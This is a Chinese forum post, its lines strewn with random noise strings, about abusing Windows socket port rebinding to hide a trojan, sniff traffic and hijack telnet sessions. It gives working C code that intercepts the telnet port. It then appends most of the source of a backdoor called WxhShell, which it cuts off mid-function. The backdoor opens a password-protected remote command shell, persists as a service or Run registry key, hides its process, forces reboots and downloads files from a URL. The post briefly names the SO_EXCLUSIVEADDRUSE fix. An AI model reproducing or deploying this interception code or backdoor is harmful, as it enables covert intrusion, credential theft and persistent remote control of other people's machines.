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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \P[Y`LYL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kj Jn2c:y  
Z*F3G#A  
  saddr.sin_family = AF_INET; 11NQR[  
9p]QM)M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HVRZ[Y<^  
s9 mx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p#-Z4-`  
jV i) Efy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [z:!j$K  
&0d# Y]D4`  
  这意味着什么?意味着可以进行如下的攻击: x5pdS:  
_T60;ZI+^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'B |JAi?  
6%'QjwM_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MxKS4k  
/l3V3B7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GblA9F7  
Y/F6\oh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8|gIhpO?^  
[+Iz@0q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zpt\p7WQ  
*VCXihgo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6XxvvMA97  
y RqL9t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RbB.q p  
_;"il%l=1  
  #include Lj({[H7D!  
  #include PI {bmZ  
  #include RU|Q ]Ymx  
  #include    H_7/%noS5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4Z3su^XR  
  int main() 1C+13LE$U  
  { /|}EL%a  
  WORD wVersionRequested; iqsCB%;5  
  DWORD ret; cVv=*81\  
  WSADATA wsaData; `bq<$e  
  BOOL val; }RF(CwZr(  
  SOCKADDR_IN saddr; g&L!1<, p  
  SOCKADDR_IN scaddr; 70?\ugxA  
  int err; -_g0C^:<,  
  SOCKET s;  ^^sE:  
  SOCKET sc; 8S TvCH"Z_  
  int caddsize; M/f<A$xx_  
  HANDLE mt; b/K PaNv  
  DWORD tid;   z(ONv#}p  
  wVersionRequested = MAKEWORD( 2, 2 ); [jQp~&nY  
  err = WSAStartup( wVersionRequested, &wsaData ); &u."A3(  
  if ( err != 0 ) { CO/]wS  
  printf("error!WSAStartup failed!\n"); h'llK6_)  
  return -1; 9c bd~mM{  
  } "Fr.fhh'~  
  saddr.sin_family = AF_INET; gjyYCjF  
   B`)BZ,#p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >58YjLXb  
dFxIF;C>/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DeVv4D:}@  
  saddr.sin_port = htons(23); /8'NG6"H`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K8|r&`X0  
  { c^xIm'eob  
  printf("error!socket failed!\n"); I9A~Ye 5O&  
  return -1; P8:dU(nlW  
  } d0!5j  
  val = TRUE; >b}o~F^J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8Al{+gx@?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v4TQX<0s  
  { 8 /]S^'>  
  printf("error!setsockopt failed!\n"); :LQYo'@yB  
  return -1; g/d<Zfq<{  
  } Vr)S{k-Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =ZznFVJ`={  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2QcOR4_V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :`#d:.@]o@  
QO:!p5^:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /{J4:N'B>  
  { n+9=1Oo"  
  ret=GetLastError(); *8A  
  printf("error!bind failed!\n"); /U*C\ xMm  
  return -1; 9<?M8_  
  } W+c<2?d:  
  listen(s,2); x j)F55e?  
  while(1) F{e@W([  
  { (S5R!lpO  
  caddsize = sizeof(scaddr); oCv.Ln1;Z  
  //接受连接请求 t>RY7C;PuS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C==hox7b  
  if(sc!=INVALID_SOCKET) iq8<ov  
  { ;4\ 2.* s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ub0.J#j@  
  if(mt==NULL) Z clQ  
  { <$$yw=ef  
  printf("Thread Creat Failed!\n"); BwEN~2u6  
  break; _.Nbt(mz  
  } Et_bH%0  
  } wW P}C D  
  CloseHandle(mt); &|1<v<I5  
  } gs[uD5oo<  
  closesocket(s); %wg -=;d4  
  WSACleanup(); &t@jl\ND  
  return 0; Ta0|+IYk<  
  }   ?!:ha;n  
  DWORD WINAPI ClientThread(LPVOID lpParam) iuW[`ou X  
  { Rok7n1gW  
  SOCKET ss = (SOCKET)lpParam; UgSB>V<?  
  SOCKET sc; O6 3<AY@  
  unsigned char buf[4096]; 2wg5#i  
  SOCKADDR_IN saddr; |A~jsz6pI  
  long num; 8'[7 )I=  
  DWORD val; ~W'{p  
  DWORD ret; 9L?.m&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8 >EWKI9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <al(7  
  saddr.sin_family = AF_INET; =o(5_S.u;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&2O 9Nz6  
  saddr.sin_port = htons(23); 8 ^2oWC#U(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t|\%VC  
  { I*{ nP)^9  
  printf("error!socket failed!\n"); *%NT~C q  
  return -1; /t57!&  
  } ~H_/zK6e  
  val = 100; kCF>nt@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZF8 yw(z  
  { 7IH@oMvE  
  ret = GetLastError(); (N6i4 g6  
  return -1; k Z .gO  
  } \ a<h/4#|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k,6f &#x  
  { /4V#C-  
  ret = GetLastError(); "Yv_B3p   
  return -1; .V/Rfq  
  } .GXBc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =[{i{x|Qz  
  { Gr'  CtO  
  printf("error!socket connect failed!\n"); bHYy}weZ  
  closesocket(sc); 34O `@j0-3  
  closesocket(ss); nwe* BVp  
  return -1; 85$m[+md  
  } dr}`H,X"3  
  while(1) bdrg(d6  
  { S~bOUdV Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .t-4o<7 3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VBGuC c/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6Q@j  
  num = recv(ss,buf,4096,0); G@\1E+Ip  
  if(num>0) $y&E(J  
  send(sc,buf,num,0); ".V$~n(  
  else if(num==0) k68T`Ub\W6  
  break; K`WywH3-  
  num = recv(sc,buf,4096,0); Wx}8T[A}  
  if(num>0) ;(/ZO%h  
  send(ss,buf,num,0); u;"TTN  
  else if(num==0) DB|Y  
  break; U^%Q}'UYym  
  } ]L $\ #  
  closesocket(ss); 3?9IJ5p  
  closesocket(sc); YeL#jtC  
  return 0 ; "@@u3`#  
  } &< `NT D  
NjScc%@y  
QB uMJm  
========================================================== =pO^7g  
$E~`\o%Ev  
下边附上一个代码,,WXhSHELL m|n%$$S&  
X,_2FJv  
========================================================== cWaSn7p!X  
I\{ 1u  
#include "stdafx.h" - >-KCd1b  
H3 ^},.  
#include <stdio.h> n8 i] z  
#include <string.h> ,, OW  
#include <windows.h> !8d{q)JZ  
#include <winsock2.h> gMmaK0uhS  
#include <winsvc.h> kk@fL  
#include <urlmon.h> SCHP L.n  
vn!3l1\+J  
#pragma comment (lib, "Ws2_32.lib") 5h-SCB>P  
#pragma comment (lib, "urlmon.lib") Tod&&T'UW  
GqvpA# i  
#define MAX_USER   100 // 最大客户端连接数 '&tG?gb&  
#define BUF_SOCK   200 // sock buffer zuad~%D<I  
#define KEY_BUFF   255 // 输入 buffer 85:=4N%  
XbKYiy  
#define REBOOT     0   // 重启 9igiZmM  
#define SHUTDOWN   1   // 关机 4y?n [/M/  
n u[ML  
#define DEF_PORT   5000 // 监听端口 M*, -zGr  
!qh]6%l  
#define REG_LEN     16   // 注册表键长度 ,{u yG:  
#define SVC_LEN     80   // NT服务名长度 '(f*2eE:  
A@[o;H}XP  
// 从dll定义API @ $ ;q ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hHGoP0/o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U0y%u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rdP[<Y9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4{U T!WIi  
?%-DfCS  
// wxhshell配置信息 Eqd<MY7  
struct WSCFG { x7&B$.>3  
  int ws_port;         // 监听端口 wr/"yQA]  
  char ws_passstr[REG_LEN]; // 口令 H?vdr:WlTN  
  int ws_autoins;       // 安装标记, 1=yes 0=no FEz-+X<q2  
  char ws_regname[REG_LEN]; // 注册表键名 3 *"WG O5  
  char ws_svcname[REG_LEN]; // 服务名 {0wIR_dGX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DS(}<HK{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l'-Bu(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qFCOUl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %9F([K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vjGo;+K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?}tFN_X"  
df4A RP+  
};  F2LLN  
:Uzm  
// default Wxhshell configuration M#4p E_G  
struct WSCFG wscfg={DEF_PORT, )9{0]u;9  
    "xuhuanlingzhe", !*d I|k  
    1, d9f C<Tp  
    "Wxhshell", XH4  
    "Wxhshell",  NI76U  
            "WxhShell Service", f P 1[[3i  
    "Wrsky Windows CmdShell Service", }(J}f)  
    "Please Input Your Password: ", ;;OAQ`  
  1, O>b C2;+s  
  "http://www.wrsky.com/wxhshell.exe", >=I|xY,  
  "Wxhshell.exe" #4Rx]zW^%  
    }; TCwFPlF|  
dk#k bG;  
// 消息定义模块 ]___M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y1eW pPJa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~*&H$6NJS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ju!]&G8  
char *msg_ws_ext="\n\rExit."; ) <[XtK  
char *msg_ws_end="\n\rQuit."; *eTqVG.  
char *msg_ws_boot="\n\rReboot..."; bQg:zww  
char *msg_ws_poff="\n\rShutdown..."; EPI4!3]  
char *msg_ws_down="\n\rSave to "; #C74z$  
T= y}y  
char *msg_ws_err="\n\rErr!"; ["k,QX  
char *msg_ws_ok="\n\rOK!"; %op**@4/t\  
Q^9_' t}X  
char ExeFile[MAX_PATH]; / |;RV"  
int nUser = 0; ah4N|zJ>v  
HANDLE handles[MAX_USER]; {Qf=G|Ah  
int OsIsNt; zx"s*:O  
~zJbK. _  
SERVICE_STATUS       serviceStatus; by1<[$8r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Olt?~}  
#?U}&Bd  
// 函数声明 ,*TmIPNK  
int Install(void); .LnGL]/  
int Uninstall(void); B:yGS*.tu  
int DownloadFile(char *sURL, SOCKET wsh); 8?#/o c  
int Boot(int flag); rK6l8)o  
void HideProc(void); i4Q@K,$  
int GetOsVer(void); ky,(xT4  
int Wxhshell(SOCKET wsl); WtsFz*`)y  
void TalkWithClient(void *cs); *MFIV02[N  
int CmdShell(SOCKET sock); 7?!d^$B  
int StartFromService(void); ed{ -/l~j  
int StartWxhshell(LPSTR lpCmdLine); r ,8 [O  
x/I%2F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B?gOHG*vd>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $Ps|HN  
+< Nn~1  
// 数据结构和表定义 >^?u .gM3  
SERVICE_TABLE_ENTRY DispatchTable[] = ~|D Ut   
{ iJ)_RSFK  
{wscfg.ws_svcname, NTServiceMain}, oj m @t  
{NULL, NULL} $u6"*|  
}; Fh&G;aEq  
Wa>}wA=v  
// 自我安装 lwxaMjaL4K  
int Install(void) d=$Mim  
{ Z!a =dnwHz  
  char svExeFile[MAX_PATH]; ~k-y &<UR  
  HKEY key; @|Cz-J;D  
  strcpy(svExeFile,ExeFile); hn7# L  
>W=,j)MA  
// 如果是win9x系统,修改注册表设为自启动 P+ 3G~Sr  
if(!OsIsNt) { xf\C|@i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e9Wa<i 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hE'-is@7  
  RegCloseKey(key); eH'av}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3)t.p>VgO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &T?RZ2  
  RegCloseKey(key); oz\!V*CtK  
  return 0; K-^\" W8  
    } q5J5>  
  } Gt8M&S-;  
} X&.ArXn*  
else { *2>&"B09`  
;>U2|>5V  
// 如果是NT以上系统,安装为系统服务 '2A)}uR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3V+] 9;  
if (schSCManager!=0) 8?B!2  
{ !]A  
  SC_HANDLE schService = CreateService 0I-9nuw,^;  
  ( r Xt}6[S  
  schSCManager, g>E LGG |Q  
  wscfg.ws_svcname, TM__I\+Q  
  wscfg.ws_svcdisp, n$A9_cHF7  
  SERVICE_ALL_ACCESS, imhwY#D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <6%?OJhp  
  SERVICE_AUTO_START, 58}U^IW  
  SERVICE_ERROR_NORMAL, 6IN e@  
  svExeFile, U#7#aeI  
  NULL, p}}R-D&K  
  NULL, )W,aN)1)  
  NULL, 5zK4Fraf  
  NULL, K(e$esLs-  
  NULL 1SQ3-WU s  
  ); h6L&\~pf  
  if (schService!=0) V@.Ior}w  
  { IkL#SgY  
  CloseServiceHandle(schService); o)M}!MT  
  CloseServiceHandle(schSCManager); >jDDQ@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l5Uiw2  
  strcat(svExeFile,wscfg.ws_svcname); <`8n^m*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gmUz9P(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P1. [  
  RegCloseKey(key); rK 8lBy:<  
  return 0; ol\Utq,  
    } %Bj\W'V&p  
  } "@^k)d$  
  CloseServiceHandle(schSCManager); np|Sy;:  
} f=+mIZ  
} nUaJzPl  
^)/0yB  
return 1; Y1 w9y  
} v4!VrI  
zF`0J  
// 自我卸载 d(ZO6Nr Q  
int Uninstall(void) F>Ah0U0  
{ _O)>$.^6  
  HKEY key; etQCzYIhn  
udK%>  
if(!OsIsNt) { w0 M>[ 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1;bh^WMJ  
  RegDeleteValue(key,wscfg.ws_regname); ;DQ ZT  
  RegCloseKey(key); A7 {\</Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *xAqnk   
  RegDeleteValue(key,wscfg.ws_regname); O0x,lq  
  RegCloseKey(key); J/`<!$<c  
  return 0; ^do9*YejX;  
  } tH@Erh|%  
} #Qw0&kM7I  
} q~F|  
else { 5;Czu(iH$  
etDk35!h~,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +%z> H"J.  
if (schSCManager!=0) Hzm:xg  
{ n-2]M0 5O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pjf"CW+A  
  if (schService!=0) wq`s-qZu  
  { UkwP  
  if(DeleteService(schService)!=0) { *}qWj_RT  
  CloseServiceHandle(schService); sPpH*,(  
  CloseServiceHandle(schSCManager); 3Y4?CM&0v  
  return 0; 5+0gR &|j  
  } )th<,Lo3#  
  CloseServiceHandle(schService); y%$AhRk*U  
  } l+K'beP  
  CloseServiceHandle(schSCManager); wQl ,  
} GRIti9GD  
} [T4J{y64Y  
)2KF}{  
return 1; S&5&];Ag  
} H\"sgoJ  
[o#oa k{U  
// 从指定url下载文件 q CC.^8  
int DownloadFile(char *sURL, SOCKET wsh) JAnZdfRt  
{ wD}l$ & +  
  HRESULT hr; .&iawz  
char seps[]= "/"; a#(?P.6  
char *token; 23eX;gL  
char *file; m#Jmdb_  
char myURL[MAX_PATH]; |)DGkOtd  
char myFILE[MAX_PATH]; HXC ;Np  
ITXa&5D  
strcpy(myURL,sURL); fSj5ZsO  
  token=strtok(myURL,seps); 7vKK%H_P  
  while(token!=NULL) F@jZ ho  
  { VR8-&N  
    file=token; WF+99?75  
  token=strtok(NULL,seps); V]6dscQ  
  } ;6 D@A  
ea2ayT  
GetCurrentDirectory(MAX_PATH,myFILE); wo{gG?B  
strcat(myFILE, "\\"); qbN =4  
strcat(myFILE, file); A1$TXr  
  send(wsh,myFILE,strlen(myFILE),0); Igt#V;kK"2  
send(wsh,"...",3,0); LKB$,pR~1l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @l5"nBs<_:  
  if(hr==S_OK) /N10  
return 0; x_Y!5yg E  
else H [\o RId  
return 1; oG?Xk%7&\  
3BUSv#w{i  
} 9wUkh}s  
<?.&^|kS  
// 系统电源模块 !;v|'I  
int Boot(int flag) yjX9oxhtL  
{ (_]~wi-,  
  HANDLE hToken; Hyl%mJ  
  TOKEN_PRIVILEGES tkp; .p3,O6y2(F  
3BJ0S.TF  
  if(OsIsNt) { Xza(k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (*'f+R`$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &-6Gc;f8  
    tkp.PrivilegeCount = 1; 2 c{34:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9ULQrq$?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S!CC }3zw  
if(flag==REBOOT) { CAWNDl4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BoWg0*5xb  
  return 0; (k.[GfCbD  
} !>&o01i  
else { `5.'_3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z'n:@E  
  return 0; b94DJzL1z  
} |v%YQ R  
  } %)W2H^  
  else { &)ChQZA  
if(flag==REBOOT) { U(g:zae  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L|xbR#v  
  return 0; D_*WYV  
} - %h.t+=U  
else { J/aC}}5D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P l]O\vh  
  return 0; ^"2J]&x`G  
} Om\vMd@!  
} 5L%'@`mX  
LckK\`mh  
return 1; Hg izW  
} zu{P#~21  
Qn.om=KDs@  
// win9x进程隐藏模块 PiIpnoM  
void HideProc(void) Vn}0}Jz  
{ ?P`K7  
AjMh,@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oW*16>IN9l  
  if ( hKernel != NULL ) 0R'?~`aTt  
  { !)0;&e5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xF'EiX~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,/F~ Y&1I  
    FreeLibrary(hKernel); '9J/T57]e  
  } ]Ie 0S~  
[EXs  
return; [D4SW#  
} "$^ ~!1~  
WlC:l  
// 获取操作系统版本 k"iOB-@B+  
int GetOsVer(void) ?mxMk6w  
{ '8H4shYg  
  OSVERSIONINFO winfo; q"8e a/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K=h9Ce  
  GetVersionEx(&winfo); /]Md~=yNp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h2]P]@nW;W  
  return 1; SsDmoEeB[  
  else c9 _ rmz8  
  return 0; k2tF}  
} P* BmHz4KL  
)lqAD+9Q  
// 客户端句柄模块 #a,PZDaE  
int Wxhshell(SOCKET wsl) bJ {'<J  
{ 9 -a0:bP  
  SOCKET wsh; Zt{[ *~  
  struct sockaddr_in client; L48_96  
  DWORD myID; 1 bU,$4  
A[{yCn`tM  
  while(nUser<MAX_USER) ,Ah;A[%?~  
{ FHg 9OI67  
  int nSize=sizeof(client); 8^1 Te m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D.u{~  
  if(wsh==INVALID_SOCKET) return 1; mL{6L?  
vw/J8'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uh  > ; 8  
if(handles[nUser]==0) Flm%T-Dl  
  closesocket(wsh); ~4Fvy'  
else >tV{Pd1  
  nUser++; sBg.u  
  } %pL''R9VF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0znR0%~  
_8UU'1d  
  return 0; vr6w^&[c^  
} A]oV"`f  
p]+Pkxz]'  
// 关闭 socket >@_^fw)  
void CloseIt(SOCKET wsh) pO3SUOP  
{ Kn;"R:  
closesocket(wsh); I-(zaqp@  
nUser--; SZ'R59Ee<  
ExitThread(0); 3,qr-g|;jM  
} ;$wVu|&  
!?h;wR  
// 客户端请求句柄 >SHhAEF  
void TalkWithClient(void *cs) ul>3B4  
{ ?1 4{J]H4  
K Z91-  
  SOCKET wsh=(SOCKET)cs; n 0L^e  
  char pwd[SVC_LEN]; /7F:T[  
  char cmd[KEY_BUFF]; X5$Iyis  
char chr[1]; xY(*.T9K  
int i,j; 6?J i7F  
@K !T,U  
  while (nUser < MAX_USER) { Aw.qK9I  
&B1WtW  
if(wscfg.ws_passstr) { bK&+5t&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GGs}i1m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f r6 fj  
  //ZeroMemory(pwd,KEY_BUFF); {hrX'2:ClT  
      i=0; 33B]RGq  
  while(i<SVC_LEN) { {cVEmvE8  
c`w}|d]mC  
  // 设置超时 ~=l;=7 T  
  fd_set FdRead; 7;wd(8  
  struct timeval TimeOut; `|& O*`  
  FD_ZERO(&FdRead); hhc,uJ">!  
  FD_SET(wsh,&FdRead); R-d:j^:f  
  TimeOut.tv_sec=8; o]oum,Q  
  TimeOut.tv_usec=0; u\;C;I-? '  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YUy0!`!`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F{;((VboN  
+VOK%8,p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BUXpC xQ  
  pwd=chr[0]; lzVq1@B  
  if(chr[0]==0xd || chr[0]==0xa) { s9DYi~/,  
  pwd=0; g*C7 '  
  break; m~0/&RA  
  } $DaNbLV  
  i++; r52gn(,  
    } 6mxfLlZ  
; )@~  
  // 如果是非法用户,关闭 socket _F|Ek;y%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (gWm,fI RZ  
} 1^JS Dd  
<}9lZEqY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e=m42vIB-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RQ" ,3.R==  
d|Lj~x|  
while(1) { ^o&. fQ*  
Z o(rTCZX  
  ZeroMemory(cmd,KEY_BUFF); e1Hg w[l`  
JOeeU8C  
      // 自动支持客户端 telnet标准   1?+St`+{B-  
  j=0; @Qt{jI !  
  while(j<KEY_BUFF) { Ne1$ee. NE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Si;H0uPO  
  cmd[j]=chr[0]; MeZf*' J  
  if(chr[0]==0xa || chr[0]==0xd) { F0Yd@Lk$_  
  cmd[j]=0; dJNe+ MB`  
  break; n<R?ffy  
  } "'?>fe\qG  
  j++; ^9:Z7 >Z  
    } 59;KQ  
wgGl[_)  
  // 下载文件 Y\g3h M  
  if(strstr(cmd,"http://")) { pG;U2wE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3"~!nn0;  
  if(DownloadFile(cmd,wsh)) 07{)?1cod4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&e{_|i#+  
  else }a(dyr`S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0*{%=M  
  } )|# sfHv7  
  else { gT6jYQ  
D_zZXbNc  
    switch(cmd[0]) { suDQ~\ n  
  R.yvjPwJ  
  // 帮助 V+9 MoT?8  
  case '?': { CB}2j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SSMHoJGm  
    break; J)p l|I  
  } q9s=~d7  
  // 安装 Jij*x>K>y  
  case 'i': { T</F 0su|  
    if(Install()) +A?U{q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=C!VVk4f  
    else <x>M o   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %| Lfuz*  
    break; ^SrJu:Q_  
    } OYn}5RN  
  // 卸载 FXkM#}RgNm  
  case 'r': { > /caXvS  
    if(Uninstall()) )bscBj@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][Rh28?I{  
    else R~ q]JSIC@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Ds1  
    break; -m~#Bq  
    } PALc;"]O  
  // 显示 wxhshell 所在路径 oe-\ozJ0  
  case 'p': { 0oIe> r  
    char svExeFile[MAX_PATH]; 4 "'~NvO  
    strcpy(svExeFile,"\n\r"); 9InVQCf2J  
      strcat(svExeFile,ExeFile); [S!/E4>['  
        send(wsh,svExeFile,strlen(svExeFile),0); d>qY{Fdz  
    break; 'm kLCS  
    } &&>ekG 9@  
  // 重启 VRB;$  
  case 'b': { ^s"R$?;h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dDLeSz$b  
    if(Boot(REBOOT)) I51@QJX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NqWdRU  
    else { nZYBE030  
    closesocket(wsh); /f;~X"!  
    ExitThread(0); t;\Y{`  
    } XU(eEnmo m  
    break; Qq|57X)P*  
    } ##"HF  
  // 关机 Oxd]y1  
  case 'd': { ]~3V}z,T*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -6B4sZpzD  
    if(Boot(SHUTDOWN)) h(EhkCf  
